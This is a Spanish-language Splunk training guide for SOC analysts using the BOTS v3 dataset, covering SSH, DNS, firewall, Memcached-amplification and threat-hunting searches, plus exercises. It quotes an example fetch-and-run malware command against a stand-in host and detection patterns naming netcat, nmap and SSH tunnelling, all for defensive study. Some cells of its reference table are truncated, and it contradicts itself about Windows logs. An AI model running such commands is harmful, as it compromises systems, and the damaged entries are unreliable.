Guia de Analisis de Seguridad con Splunk

Contexto: SOC Analyst

Eres analista de seguridad SOC Nivel 1 en el banco “Banco Nacional”. Tu trabajo es monitorear alertas, investigar eventos sospechosos y reportar incidentes al equipo de respuesta.

El dataset BOTS v3 representa los logs de tu banco durante un incidente de seguridad real. Tu eres el primero en revisar las alertas.

Nota sobre sourcetypes: Este dataset contiene logs de red (stream), Linux (syslog, linux_secure, osquery), AWS (cloudtrail, cloudwatch), y firewall Cisco ASA. No contiene Windows Event Log (EventCode 4624, 4625…). La autenticación se monitoriza via SSH en servidores Linux.


FASE 1: Conocer tu entorno

Antes de investigar, necesitas saber que hay en tu infraestructura.

1.1 ?Que sistemas estan generando logs?

index=botsv3 | stats count by sourcetype | sort -count

Que ves: Todos los tipos de logs que llegan al SIEM. En tu banco: Esto seria tu “Asset Inventory” - saber que sistemas estan monitoreados.

1.2 ?Que fuentes de datos tenemos?

index=botsv3 | stats count by source | sort -count

Que ves: Los archivos o sistemas específicos que generan logs. En tu banco: Saber si son servidores, firewalls, endpoints, etc.

1.3 ?Que hosts estan reportando?

index=botsv3 | stats count by host | sort -count

Que ves: Los equipos/servidores que envian logs. En tu banco: Tu mapa de infraestructura activa.

1.4 Resumen general del trafico

index=botsv3 | timechart span=1d count

Que ves: Volumen de eventos por dia. En tu banco: Detectar picos inusuales de actividad.


FASE 2: Monitoreo de autenticacion (Linux SSH)

La autenticación es lo primero que revisas como SOC analyst. En este dataset, los logs de autenticación son de servidores Linux via SSH.

2.1 Logins SSH exitosos

index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by src_ip, user, host

Que ves: Quien se conecto por SSH, desde donde y a que servidor. En tu banco: Un empleado conectandose desde una IP inusual seria sospechoso.

2.2 Logins SSH fallidos (brute force)

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, user | where count > 5

Que ves: IPs o usuarios con muchos intentos fallidos de SSH. En tu banco: Posible ataque de fuerza bruta contra servidores Linux.

2.3 Logins fuera de horario laboral

index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour<8 OR hour>18 | stats count by user, src_ip, hour

Que ves: Conexiones SSH fuera de las 8am-6pm. En tu banco: Administrador conectandose a las 3am desde IP extraña = altamente sospechoso.

2.4 Usuarios con sudo (privilegios elevados en Linux)

index=botsv3 sourcetype=linux_secure "sudo" | stats count by user, host

Que ves: Quien ejecuta comandos con sudo. En tu banco: Auditar quien tiene acceso de administrador en servidores Linux.

2.5 Autenticacion con clave publica (movimiento lateral)

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

Que ves: Conexiones SSH por clave publica entre servidores. En tu banco: Atacantes usan claves robadas para moverse entre servidores.


FASE 3: Analisis de Red

3.1 Top 20 IPs con mas trafico DNS saliente

index=botsv3 sourcetype=stream:dns | top limit=20 src_ip

Que ves: Que equipos estan haciendo mas consultas DNS. En tu banco: Un equipo haciendo muchas consultas DNS puede estar exfiltrando datos o comunicandose con C2.

3.2 DNS queries mas frecuentes

index=botsv3 sourcetype=stream:dns | top limit=50 query

Que ves: Los dominios mas consultados desde tu red interna. En tu banco: Dominios extraños o de reciente creacion = posible command & control (C2).

3.3 Trafico hacia puertos inusuales

index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port

Que ves: Puertos de destino mas usados. En tu banco: Puertos que no deberian estar abiertos (4444, 5555 = posibles backdoors).

Puertos sospechosos: 4444 (Metasploit), 11211 (Memcached amplification), 31337, 6666

3.4 Trafico a Memcached (puerto 11211) - posible amplificacion

index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort -count

Que ves: Quien envia trafico al puerto Memcached y quien lo recibe. En tu banco: Este puerto no deberia estar expuesto. Si ves trafico saliente, alguien está haciendo amplification DDoS.

3.5 Volumen de amplificacion Memcached

index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio

Que ves: El ratio de amplificacion. Si out es 10.000x mayor que in, es un ataque. En tu banco: Los atacantes usan Memcached para amplificar trafico hasta 50.000x.

3.6 Firewall - trafico bloqueado

index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip

Que ves: Las IPs que mas trafico generan hacía el firewall. En tu banco: Intentos de acceso no autorizado desde internet.

3.7 Firewall - conexiones permitidas vs bloqueadas

index=botsv3 sourcetype=cisco:asa | stats count by action

Que ves: Cuantos eventos fueron permitidos (ACCEPT) vs bloqueados (DENY/BLOCK). En tu banco: Si ves muchas denegaciones, alguien está escaneando tu red.


FASE 4: Analisis de Procesos (Endpoint)

4.1 Procesos mas activos en servidores Windows

index=botsv3 sourcetype=PerfmonMk:Process | top limit=20 process_name

Que ves: Los procesos que mas recursos consumen en servidores Windows. En tu banco: Procesos como svchost.exe, explorer.exe son normales. powershell.exe desde cuenta de usuario no.

4.2 Monitoreo de hosts Windows

index=botsv3 sourcetype=WinHostMon | stats count by host

Que ves: Que servidores Windows estan reportando y cuantos eventos generan. En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.

4.3 Procesos creados (Sysmon)

index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 | table _time, host, process_name, parent_process_name

Que ves: Procesos creados en endpoints Windows monitoreados por Sysmon. En tu banco: Un PowerShell lanzado por Office = sospechoso.

4.4 Conexiones de red desde procesos (Sysmon)

index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 | table _time, host, process_name, dest_ip, dest_port

Que ves: Procesos que hacen conexiones de red. En tu banco: Un proceso conectandose a una IP externa = posible C2.

4.5 Procesos en servidores Linux (osquery)

index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name | sort -count | head 20

Que ves: Procesos detectados por osquery en servidores Linux. En tu banco: osquery monitorea procesos, puertos en escucha, conexiones.

4.6 Puertos en escucha en servidores Linux (osquery)

index=botsv3 sourcetype=osquery:results name=listening_ports | stats count by host, port, address

Que ves: Puertos abiertos en servidores Linux. En tu banco: Servicios no autorizados corriendo en puertos inusuales.


FASE 5: Threat Hunting (Caza de Amenazas)

5.1 Buscar descargas desde internet (Linux)

index=botsv3 sourcetype=bash_history "wget" OR "curl"

Que ves: Comandos wget/curl ejecutados en servidores Linux. En tu banco: Descarga de malware desde internet.

5.2 Buscar scripts ejecutados manualmente

index=botsv3 sourcetype=bash_history "chmod +x" OR "./" OR "sh " OR "bash "

Que ves: Archivos descargados y ejecutados. En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.

5.3 Buscar movimientos laterales (SSH entre servidores)

index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host

Que ves: Conexiones SSH por clave publica. En tu banco: Si el mismo usuario se conecta a 5 servidores en pocos minutos, alguien se está moviendo lateralmente.

5.4 Buscar exfiltracion de datos via DNS

index=botsv3 sourcetype=stream:dns | stats count by query, src_ip | sort -count | head 30

Que ves: Dominios consultados y quien los consulta. En tu banco: Envio de datos codificados en consultas DNS = DNS tunneling.

5.5 Buscar cambios en archivos de configuracion (Linux)

index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"

Que ves: Comandos que modifican configuración del sistema. En tu banco: Anyadir un cronjob o modificar archivos de sistema = persistencia.

5.6 Buscar comandos de red sospechosos

index=botsv3 sourcetype=bash_history "nc " OR "ncat" OR "netcat" OR "nmap" OR "ssh -R" OR "ssh -L"

Que ves: Uso de herramientas de red. En tu banco: netcat, nmap, port forwarding = técnicas de atacante.

5.7 Buscar en texto libre (IOCs)

index=botsv3 "malware" OR "ransomware" OR "exploit" OR "payload" OR "backdoor"

Que ves: Eventos que mencionan terminos de amenazas. En tu banco: Alertas de antivirus, DLP o IDS.


FASE 6: Investigacion de Incidente

6.1 Timeline de un host especifico

index=botsv3 host="gacrux.i-06fea586f3d3c8ce8" | timechart span=1h count by sourcetype

Que ves: Actividad de un equipo específico por hora. Cambia gacrux… por el host que quieras investigar. En tu banco: Reconstruir que paso en un equipo comprometido.

6.2 Eventos alrededor de un momento especifico

index=botsv3 earliest="08/20/2018:15:00:00" latest="08/20/2018:16:00:00" | stats count by sourcetype

Que ves: Que paso en una hora específica del ataque. En tu banco: Investigar que ocurrio justo antes/despues de un incidente.

6.3 Buscar trafico de una IP especifica

index=botsv3 src_ip="13.125.33.130" | stats count by sourcetype, dest_ip | sort -count

Que ves: Todo lo que hizo una IP en la red. Cambia la IP por la que quieras investigar. En tu banco: Investigación forense de una IP sospechosa.

6.4 Timeline del ataque Memcached

index=botsv3 dest_port=11211 | timechart span=5m count

Que ves: La actividad contra el puerto Memcached minuto a minuto. En tu banco: Ver la duración exacta y el volumen del ataque de amplificacion.

6.5 Buscar en texto libre (todos los logs)

index=botsv3 "injected" OR "STORED" OR "ERROR"

Que ves: Eventos que contienen estos terminos - claves del ataque Memcached. En tu banco: Los logs de red UDP contienen los comandos “set”, “get” e “injected” del ataque.


FASE 7: Dashboards y Reportes

7.1 Dashboard de autenticacion (SSH)

index=botsv3 sourcetype=linux_secure "Failed password" | timechart span=1h count by src_ip

7.2 Dashboard de red (DNS)

index=botsv3 sourcetype=stream:dns | timechart span=1h count by query_type

7.3 Dashboard de procesos (Perfmon Windows)

index=botsv3 sourcetype=PerfmonMk:Process | top limit=10 process_name

7.4 Dashboard de trafico bloqueado (Firewall)

index=botsv3 sourcetype=cisco:asa | timechart span=1h count by action

Comandos SPL de Referencia

Basicos

ComandoFuncion
stats countContar eventos
op limit=NTop N valores
imechart span=1hGrafico por hora
whereFiltrar condicionalmente
ableMostrar en tabla
sort -countOrdenar descendente
evalCrear campo calculado
enameRenombrar campo
dedupEliminar duplicados

Sourcetypes disponibles en BOTSv3 (los mas importantes para SOC)

SourcetypeQue contiene
syslogLogs genericos de Linux
linux_secureAutenticacion SSH (logins, sudo, fallos)
stream:dnsConsultas DNS capturadas en red
stream:tcpTrafico TCP capturado en red
stream:udpTrafico UDP capturado en red
stream:httpTrafico HTTP capturado en red
stream:ipTrafico IP generico
cisco:asaLogs de firewall Cisco ASA
ws:cloudtrailAPI calls de AWS
ws:cloudwatchlogsLogs de servicios AWS (VPC Flow, Lambda)
PerfmonMk:ProcessRendimiento de procesos en Windows
WinHostMonMonitoreo de hosts Windows
osquery:resultsResultados de osquery (procesos, puertos)
ash_historyHistorial de comandos bash en Linux
XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalSysmon (procesos, conexiones)

Ejercicios Practicos

Ejercicio 1: Detectar SSH brute force

Busca IPs con mas de 10 intentos de SSH fallidos.

index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | where count > 10

Ejercicio 2: Encontrar la IP atacante de Memcached

Busca la IP que envia trafico al puerto 11211 y calcula el ratio de amplificacion.

index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio

Ejercicio 3: Reconstruir un incidente

Elige un host sospechoso (como la victima del Memcached: 172.16.0.178) y crea un timeline.

index=botsv3 dest_ip="172.16.0.178" | timechart span=5m count by sourcetype

Ejercicio 4: Dominios sospechosos en DNS

Busca dominios que no parezcan legitimas en las consultas DNS.

index=botsv3 sourcetype=stream:dns query=*bit* OR query=*coin* OR query=*pool* OR query=*miner* | stats count by query

Ejercicio 5: Reporte de incidente

Escribe un reporte de 1 pagina sobre el ataque Memcached que encuentres en los datos. Incluye:

  • IP atacante, IP victima
  • Puerto utilizado
  • Volumen de datos
  • Timeline del ataque
  • Recomendaciones

Documento actualizado el 06/06/2026 - Busquedas validadas con BOTSv3 real